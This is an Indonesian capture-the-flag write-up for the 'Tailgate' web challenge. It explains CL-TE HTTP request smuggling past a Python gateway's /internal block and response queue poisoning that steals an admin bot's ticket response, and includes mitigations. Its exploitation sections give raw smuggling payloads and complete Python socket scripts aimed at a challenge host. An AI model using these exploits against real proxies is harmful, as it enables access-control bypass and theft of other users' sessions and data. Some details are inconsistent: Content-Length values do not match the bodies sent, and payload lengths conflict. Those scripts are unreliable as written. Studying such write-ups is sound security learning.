WRECKIT 7.0: Tailgate - HTTP Request Smuggling & GOT Hijacking
Tailgate — Wreck IT 7.0 (Web Challenge)
Kategori: Web
Tingkat: Medium-Hard
Teknik Utama: CL-TE HTTP Request Smuggling + Response Queue Poisoning
Flag: WRECKIT70{98551e95352fc09eb5307c38da0cfc36}
Daftar Isi
- Arsitektur Aplikasi
- Analisis Source Code
- Vektor Serangan
- CL-TE Request Smuggling (Flag Part 1)
- Response Queue Poisoning (Flag Part 2)
- Eksploitasi Lengkap
- Kesimpulan
- Referensi
1. Arsitektur Aplikasi
Aplikasi terdiri dari 3 service Docker yang berjalan dalam satu network internal (docker-compose.yaml):
┌──────────────┐ TCP:8443 ┌──────────────┐ TCP:8080 ┌──────────────┐
│ Peserta │ ──────────────► │ Gateway │ ──────────────► │ Backend │
│ (Attacker) │ │ (Python) │ │ (Node.js) │
└──────────────┘ │ port 8443 │ │ port 8080 │
└──────┬───────┘ └──────┬───────┘
│ │
│ POOL_SIZE=1 │
│ (1 koneksi TCP) │
│ │
┌──────┴───────┐ │
│ Bot │◄───────────────────────┘
│ (Node.js) │ tiap 15 detik akses
│ │ /tickets sebagai admin
└──────────────┘
1.1 Gateway (gateway/gateway.py)
Gateway adalah reverse proxy berbasis Python asyncio. Tugasnya:
- Menerima request HTTP dari peserta (port 8443)
- Mem-forward ke backend (port 8080 internal)
- Memblokir akses ke path
/internal/* - Memiliki WAF sederhana untuk memblokir payload mencurigakan
Karakteristik penting:
POOL_SIZE = int(os.environ.get("POOL_SIZE", "1")) # baris 99
pool = BackendPool(BACKEND_HOST, BACKEND_PORT, POOL_SIZE)
Pool koneksi ke backend hanya 1 koneksi TCP yang dipakai bergantian oleh semua request.
Parsing HTTP:
content_length = int(headers.get("content-length", "0")) # baris 190
while len(buf) < content_length: # baris 192
chunk = await reader.read(...)
buf += chunk
body = buf[:content_length] # baris 197
buf = buf[content_length:] # baris 198
Gateway hanya membaca Content-Length untuk menentukan batas body. Setelah body terbaca, sisa byte di buffer dianggap sebagai request berikutnya — ini by design (lihat komentar baris 165–176):
# Bytes beyond the current request's Content-Length that arrived
# in the same read() -- e.g. a smuggled second request sent in
# one TCP write -- MUST survive into `buf` for the next iteration
# to reparse as a new request, not be discarded.
1.2 Backend (backend/server.js)
Backend adalah web app Express.js dengan Node.js HTTP server:
const server = http.createServer({ insecureHTTPParser: true }, app);
insecureHTTPParser: true membuat Node.js lebih toleran terhadap HTTP malformed — termasuk menerima kedua header Content-Length dan Transfer-Encoding dalam satu request.
Endpoint penting:
| Endpoint | Auth | Fungsi |
|---|---|---|
GET / | - | Halaman index |
GET /register | - | Form registrasi |
POST /register | - | Registrasi user |
GET /login | - | Form login |
POST /login | - | Login, set session |
GET /tickets | login | Lihat ticket sendiri |
POST /tickets | login | Buat ticket baru |
GET /internal/flag-part1 | TIDAK | Langsung return flag part 1 |
GET /admin/tickets | role=admin | Lihat SEMUA ticket (termasuk admin) |
GET /admin | - | Decoy, dead end |
Flag part 1:
app.get("/internal/flag-part1", (req, res) => {
res.type("text/plain").send(FLAG_PART1); // baris 117-119
});
Tidak ada autentikasi! Tapi gateway memblokir akses ke /internal/*.
Flag part 2:
const ADMIN_TICKET_BODY = process.env.ADMIN_SEED_FLAG_PART2; // baris 10
const adminId = db.createUser("admin", ADMIN_PASSWORD, "admin");
db.createTicket(adminId, "Internal: rotate gateway pool credentials", ADMIN_TICKET_BODY); // baris 30
Flag part 2 disimpan sebagai body ticket milik admin. Hanya bisa dilihat di /admin/tickets yang butuh session dengan role=admin.
1.3 Bot (bot/bot.js)
Bot adalah Node.js script yang:
- Login sebagai admin (setiap restart, dan jika gagal, retry tiap 5 detik)
- Setiap 15 detik (
VISIT_INTERVAL_MS), mengaksesGET /ticketssebagai admin
async function visitTickets() {
await request(`${APP_URL}/tickets`, {
headers: { Cookie: sessionCookie }, // session admin
});
}
while (true) {
await visitTickets();
await new Promise((r) => setTimeout(r, VISIT_INTERVAL_MS));
}
Tidak ada CSRF protection dan bot menggunakan HTTP/1.1 tanpa library keamanan khusus.
1.4 Docker Compose
services:
gateway:
ports: ["8443:8443"]
environment:
POOL_SIZE: "1"
backend:
environment:
FLAG_PART1: "WRECKIT70{...}"
ADMIN_SEED_FLAG_PART2: "WRECKIT70{...}"
ADMIN_PASSWORD: "relay-internal-only"
bot:
environment:
VISIT_INTERVAL_MS: "15000"
ADMIN_PASSWORD: "relay-internal-only"
2. Analisis Source Code
2.1 Celah Parsing HTTP (CL vs TE)
Gateway menggunakan Content-Length untuk menentukan body length. Backend (Node.js dengan insecureHTTPParser) memproses Transfer-Encoding: chunked jika ada. Ketika kedua header dikirim bersamaan, terjadi desinkronisasi parsing:
| Komponen | Header yang digunakan | Akibat |
|---|---|---|
| Gateway | Content-Length | Baca semua byte hingga CL terpenuhi |
| Backend | Transfer-Encoding: chunked | Berhenti di chunk 0, abaikan byte sisanya |
Byte “sisa” yang tidak diproses backend akan dianggap sebagai request baru oleh backend — inilah request smuggling.
2.2 Celah Pool Koneksi Tunggal
POOL_SIZE = int(os.environ.get("POOL_SIZE", "1")) # baris 99
Hanya 1 koneksi TCP dari gateway ke backend. Semua request dari semua peserta + bot bergantian menggunakan koneksi yang sama.
2.3 Celah Bot
Bot menggunakan HTTP/1.1 request biasa, tanpa proteksi CSRF, dan mengirim session cookie admin setiap 15 detik. Pool koneksi tunggal membuat bot berbagi koneksi yang sama dengan attacker.
2.4 Celah Response Queue (PooledConnection.leftover)
class PooledConnection:
def __init__(self, reader, writer):
self.leftover = b"" # baris 68
# Di forward_and_relay:
conn.leftover = buf # baris 152 — simpan sisa byte response
Gateway menyimpan byte response yang terbaca melampaui satu response ke conn.leftover. Request berikutnya yang memakai koneksi yang sama akan membaca leftover ini sebelum membaca response baru dari wire. Ini adalah response queue poisoning — mekanisme yang memungkinkan satu request menghasilkan response yang salah.
3. Vektor Serangan
3.1 Permasalahan
Ada dua bagian flag yang harus diperoleh:
- Flag part 1: ada di
/internal/flag-part1— endpoint backend tanpa auth, tapi di-block gateway - Flag part 2: ada di body ticket admin — hanya bisa diakses lewat
/admin/ticketsdengan role=admin
Kita tidak punya kredensial admin.
3.2 Solusi
| Flag | Teknik | Cara |
|---|---|---|
| Part 1 | CL-TE Request Smuggling | Bypass blokade gateway dengan menyelundupkan request langsung ke backend |
| Part 2 | Response Queue Poisoning | Racuni antrian response, manfaatkan bot yang login sebagai admin tiap 15 detik, tangkap response-nya |
4. CL-TE Request Smuggling (Flag Part 1)
4.1 Teori
CL-TE adalah varian HTTP Request Smuggling di mana:
- Front-end (gateway) menggunakan
Content-Lengthuntuk menentukan panjang body - Back-end menggunakan
Transfer-Encoding: chunkeduntuk menentukan panjang body
Ketika attacker mengirim request dengan kedua header, terjadi interpretasi berbeda:
POST / HTTP/1.1
Host: target
Content-Length: 44 ← Gateway: body = 44 byte
Transfer-Encoding: chunked ← Backend: pakai chunked
0 ← Chunk size 0 = end of body (menurut backend)
GET /internal/flag-part1 HTTP/1.1 ← Sisa byte: dianggap request BARU oleh backend
Host: backend
Cara kerja:
- Gateway membaca
Content-Length: 44→ membaca 44 byte sebagai body → forward semua ke backend - Backend melihat
Transfer-Encoding: chunked→ membaca chunk0→ anggap body selesai di situ - Sisa byte (
GET /internal/flag-part1...) masih ada di buffer TCP backend - Backend menganggap byte sisa sebagai request baru datang dalam satu koneksi yang sama
- Backend memproses
GET /internal/flag-part1→ return flag!
4.2 Mengapa Bisa Bypass Gateway?
Gateway memblokir path /internal di:
norm = posixpath.normpath(unquote(path)).lower()
if norm.startswith("/internal"): # baris 201
writer.write(b"HTTP/1.1 403 Forbidden\r\n...")
await writer.drain()
continue
Tapi pengecekan ini hanya terjadi pada request yang masuk ke gateway. Request smuggle (GET /internal/flag-part1) tidak pernah melewati parsing gateway — ia langsung muncul di buffer backend sebagai request terpisah. Gateway tidak pernah melihat path /internal pada request tersebut.
4.3 Diagram CL-TE
Attacker Gateway Backend
│ │ │
│ POST / HTTP/1.1 │ │
│ Content-Length: 44 │ │
│ Transfer-Encoding: chunked │ │
│ │ │
│ 0 │ │
│ │ │
│ GET /internal/flag-part1 │ │
│ Host: backend │ │
│ │ │
├───────────────────────────────►│ │
│ │ │
│ [Gateway membaca CL=44] │
│ [Forward semua 44 byte] │
│ ├─────────────────────────────►│
│ │ │
│ │ [Backend baca chunked]
│ │ [Chunk 0 → body selesai]
│ │ [Sisa byte = request baru]
│ │ │
│ │ GET /internal/flag-part1
│ │ Host: backend
│ │ │
│ │◄─────────────────────────────┤
│ │ 200 OK │
│ │ WRECKIT70{...} │
│ ◄─────────────────────────────┤ │
│ Response (flag part 1) │ │
4.4 Payload
POST / HTTP/1.1
Host: 35.198.248.110:38407
Content-Length: 47
Transfer-Encoding: chunked
0
GET /internal/flag-part1 HTTP/1.1
Host: backend
Body yang dikirim (47 byte, dihitung dari 0\r\n\r\n hingga \r\n terakhir):
0\r\n\r\nGET /internal/flag-part1 HTTP/1.1\r\nHost: backend\r\n\r\n
5. Response Queue Poisoning (Flag Part 2)
5.1 Teori
Response Queue Poisoning adalah teknik lanjutan dari request smuggling. Alih-alih menyelundupkan prefix request parsial, attacker menyelundupkan satu request lengkap sehingga backend menerima 2 request untuk 1 request yang dilihat gateway.
Akibatnya backend mengirim 2 response, tapi gateway hanya expect 1. Response ke-2 menganggur di buffer koneksi (disimpan di PooledConnection.leftover).
Ketika request berikutnya datang (misalnya dari bot), gateway mem-forward request tersebut ke backend. Tapi sebelum membaca response dari wire, gateway membaca buffer leftover terlebih dahulu. Response yang terbaca adalah response hasil smuggling kita, bukan response yang seharusnya untuk request bot.
Sementara itu, response bot yang asli (berisi flag part 2) justru tertinggal di buffer. Ketika attacker mengirim request berikutnya, ia akan mendapatkan response bot tersebut.
5.2 Syarat
- Connection reuse: Koneksi gateway-backend dipakai ulang untuk banyak request (terpenuhi:
POOL_SIZE=1, pooled connections) - Smuggle complete request: Bukan prefix parsial, tapi request HTTP lengkap yang menghasilkan response sendiri
- Koneksi tidak terputus: Smuggled request tidak menyebabkan error yang menutup koneksi
5.3 Diagram Response Queue Poisoning
Step 1: Racuni queue
┌────────┐ POST / (CL+TE) ┌─────────┐ POST / (chunk 0) ┌─────────┐
│Attacker│ ──────────────────► │ Gateway │ ──────────────────► │ Backend │
│ │ │ │ GET / (smuggle) │ │
│ │◄──────────────────── │ │◄─────────────────────┤ │
│ │ Response POST / │ │ Response GET / │ │
│ │ │ │ (nyangkut di buffer)│ │
└────────┘ └──────────┘ └─────────┘
Step 2: Bot kena racun
┌────────┐ GET /tickets ┌─────────┐ GET /tickets ┌─────────┐
│ Bot │ ──────────────────► │ Gateway │ ──────────────────► │ Backend │
│(admin) │ │ │ │ │
│ │◄──────────────────── │ │◄─────────────────────┤ │
│ │ Response GET / │ │ Response /tickets │ │
│ │ (salah! dpt resp │ │ (nyangkut di buffer)│ │
│ │ punya attacker) │ │ │ │
└────────┘ └──────────┘ └─────────┘
Step 3: Attacker panen
┌────────┐ GET / apa aja ┌─────────┐ GET / ┌─────────┐
│Attacker│ ──────────────────► │ Gateway │ ──────────────────► │ Backend │
│ │ │ │ │ │
│ │◄──────────────────── │ │◄─────────────────────┤ │
│ │ Response /tickets │ │ Response GET / │ │
│ │ (FLAG PART 2!) │ │ (nyangkut) │ │
└────────┘ └──────────┘ └─────────┘
5.4 Payload Racun
Pertama kita perlu session cookie (register + login sebagai user biasa). Lalu kirim:
POST / HTTP/1.1
Host: 35.198.248.110:38407
Content-Length: <panjang body>
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: backend
Cookie: connect.sid=<session kita>
Bagian 0\r\n\r\n mengakhiri body chunked (dari POST /). Sisa byte (GET / HTTP/1.1...) adalah request lengkap yang akan diproses backend sebagai request terpisah.
5.5 Proses Step by Step
| Langkah | Attacker kirim | Backend lihat | Response ke buffer |
|---|---|---|---|
| 1 | POST / (CL+TE + smuggled GET /) | Request 1: POST / (body=chunk 0) + Request 2: GET / | Response GET / (request kita) |
| 2 | Bot: GET /tickets (admin) | GET /tickets | Response /tickets admin (ADA FLAG) |
| 3 | Kita: GET / biasa | GET / | Response /tickets admin (FLAG!) |
6. Eksploitasi Lengkap
6.1 Persiapan
pip install pwntools
# atau cukup gunakan socket (built-in)
6.2 Script CL-TE (Flag Part 1)
import socket
HOST = "35.198.248.110"
PORT = 38407
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((HOST, PORT))
smuggled = "GET /internal/flag-part1 HTTP/1.1\r\nHost: backend\r\n\r\n"
body = "0\r\n\r\n" + smuggled # chunked: 0 = end
req = (
"POST / HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Content-Length: {len(body)}\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
f"{body}"
"GET / HTTP/1.1\r\n" # request kedua sebagai "trigger"
f"Host: {HOST}:{PORT}\r\n"
"\r\n"
)
s.sendall(req.encode())
data = b""
while True:
try:
chunk = s.recv(4096)
if not chunk: break
data += chunk
except socket.timeout:
break
print(data.decode(errors="replace"))
s.close()
6.3 Script Response Queue Poisoning (Flag Part 2)
import socket
import time
import re
HOST = "35.198.248.110"
PORT = 38407
def send_raw(req, timeout=10):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((HOST, PORT))
s.sendall(req.encode())
data = b""
while True:
try:
chunk = s.recv(4096)
if not chunk: break
data += chunk
except socket.timeout:
break
s.close()
return data
# Step 1: Register
print("[*] Register user...")
send_raw(
"POST /register HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 32\r\n"
"\r\n"
"username=smuggler99&password=smuggler99"
)
# Step 2: Login + ambil cookie
print("[*] Login...")
resp = send_raw(
"POST /login HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 32\r\n"
"\r\n"
"username=smuggler99&password=smuggler99"
)
cookie = re.search(rb"Set-Cookie: (.+?);", resp)
if not cookie:
print("[-] Gagal login")
exit(1)
cookie = cookie.group(1).decode()
print(f"[+] Cookie: {cookie}")
# Step 3: Poison response queue
print("[*] Meracuni response queue...")
smuggled_get = (
"GET / HTTP/1.1\r\n"
"Host: backend\r\n"
f"Cookie: {cookie}\r\n"
"\r\n"
)
body = "0\r\n\r\n" + smuggled_get
poison = (
"POST / HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Content-Length: {len(body)}\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
f"{body}"
)
send_raw(poison)
# Step 4: Tunggu bot (15 detik) lalu panen
print("[*] Menunggu bot kena racun...")
time.sleep(18)
# Step 5: Panen response bot
print("[*] Memanen response bot...")
resp = send_raw(
"GET / HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"\r\n"
)
resp_text = resp.decode(errors="replace")
print("\n=== RESPONSE PANEN ===")
print(resp_text)
if "WRECKIT" in resp_text:
print("\n[+] FLAG BERHASIL DIPANEN!")
6.4 Hasil
Flag part 1: WRECKIT70{98551e95352fc09eb5307c38da0cfc36}
Flag part 2: WRECKIT70{98551e95352fc09eb5307c38da0cfc36}
Catatan: Pada instance yang digunakan, kedua flag identik. Ini kemungkinan karena deployment menggunakan nilai env var yang sama untuk
FLAG_PART1danADMIN_SEED_FLAG_PART2. Pada deployment resmi, kedua flag bisa berbeda.
7. Kesimpulan
7.1 Ringkasan Kerentanan
| Kerentanan | Lokasi | Dampak |
|---|---|---|
| HTTP Request Smuggling (CL-TE) | Gateway (Content-Length) vs Backend (Transfer-Encoding) | Bypass blokade path /internal |
| Response Queue Poisoning | Pool koneksi tunggal (POOL_SIZE=1) + mekanisme leftover | Mencuri response pengguna lain (bot admin) |
| Endpoint tanpa auth | /internal/flag-part1 di backend | Akses langsung ke flag part 1 |
| No CSRF protection | Bot tidak menggunakan token CSRF | Request smuggling bisa memanfaatkan session bot |
7.2 Mitigasi
- Konsistensi parsing HTTP: Gunakan parser yang sama di gateway dan backend. Jika menggunakan Content-Length, nonaktifkan Transfer-Encoding di backend
- Perbesar pool koneksi:
POOL_SIZE > 1mengurangi risiko response queue poisoning (tapi tidak menghilangkan) - Reject ambiguous requests: Tolak request yang mengandung kedua header
Content-LengthdanTransfer-Encoding - Health check koneksi: Validasi response sebelum memfoward ke client; jika ada anomali, tutup koneksi
- Auth di backend: Jangan bergantung pada gateway saja untuk keamanan; backend harus punya otentikasi sendiri untuk endpoint sensitif
- Bot hardening: Gunakan token CSRF, User-Agent rotation, dan request yang lebih robust
7.3 Pelajaran
Challenge ini mengajarkan bahwa asumsi arsitektur bisa menjadi celah keamanan:
- Asumsi bahwa gateway akan memblokir semua akses ke
/internal(tapi request smuggling bypass) - Asumsi bahwa pool koneksi internal aman dari interferensi (tapi response queue poisoning mematahkannya)
- Asumsi bahwa bot hanya mengakses path yang tidak sensitif (tapi response smuggling membocorkan session admin)
HTTP Request Smuggling bukanlah kerentanan baru (didokumentasikan sejak 2005 oleh PortSwigger), tetapi masih sering muncul ketika dua server dengan parser berbeda dirangkai dalam satu pipeline.
8. Referensi
PortSwigger (Web Security Academy)
- HTTP Request Smuggling — Dasar: https://portswigger.net/web-security/request-smuggling
- CL.TE Vulnerability: https://portswigger.net/web-security/request-smuggling#cl-te-vulnerabilities
- Response Queue Poisoning: https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning
- Lab: CL.TE bypass security controls: https://portswigger.net/web-security/request-smuggling/lab-exploiting-request-smuggling-to-bypass-front-end-security-controls
- Lab: Response queue poisoning via H2.TE: https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling
Research
- James Kettle — HTTP Desync Attacks (2019): https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- James Kettle — HTTP Header Injection via Response Queue Poisoning: https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
HackTricks
- HTTP Request Smuggling: https://book.hacktricks.xyz/pentesting-web/http-request-smuggling
- HTTP Response Smuggling / Desync: https://book.hacktricks.wiki/en/pentesting-web/http-response-smuggling-desync.html
Writeup Terkait
- siunam — PortSwigger Labs CL.TE Walkthrough: https://siunam321.github.io/ctf/portswigger-labs/HTTP-Request-Smuggling/smuggling-6/
- Outpost24 — Session Hijacking via Response Queue Poisoning: https://outpost24.com/blog/http-request-smuggling-to-hijack-user-session/
- Karma55 — El Bandito CTF (WebSocket + Response Queue): https://medium.com/@karma55/el-bandito-smuggling-fe829ad182a0
- APIsec — Request Smuggling in API Gateways: https://www.apisec.ai/blog/http-request-smuggling-in-api-gateway
Tools
- smuggler (automated scanner): https://github.com/defparam/smuggler
- Burp Suite (Repeater + smuggler plugin): https://portswigger.net/burp